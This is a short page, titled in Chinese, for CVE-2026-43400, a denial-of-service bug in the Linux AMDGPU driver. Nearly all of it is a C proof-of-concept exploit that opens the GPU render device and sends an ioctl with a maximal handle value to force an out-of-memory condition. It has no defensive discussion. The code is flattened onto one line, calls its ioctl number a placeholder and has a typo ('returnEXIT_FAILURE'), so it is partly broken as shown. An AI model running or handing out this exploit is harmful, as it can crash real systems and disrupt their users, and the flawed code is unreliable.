CVE-2026-43400: Linux内核AMDGPU驱动拒绝服务漏洞

#include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <string.h> // Placeholder for the actual IOCTL command number #define DRM_IOCTL_AMDGPU_USERQ_SIGNAL 0x40444501 // Structure representing the arguments for the vulnerable ioctl struct amdgpu_userq_signal_args { __u64 handle; // The vulnerable input field __u32 flags; __u32 pad; }; int main(int argc, char **argv) { int fd; struct amdgpu_userq_signal_args args; const char *device = "/dev/dri/renderD128"; // Typical AMD GPU device path // Open the device file fd = open(device, O_RDWR); if (fd < 0) { perror("Failed to open device"); returnEXIT_FAILURE; } memset(&args, 0, sizeof(args)); // Exploit: Set a huge value to trigger OOM // This value bypasses the missing upper bound check args.handle = 0xFFFFFFFFFFFFFFFF; printf("Sending malicious payload to trigger OOM...\n"); // Invoke the vulnerable ioctl if (ioctl(fd, DRM_IOCTL_AMDGPU_USERQ_SIGNAL, &args) < 0) { perror("Ioctl call failed"); } close(fd); return 0; }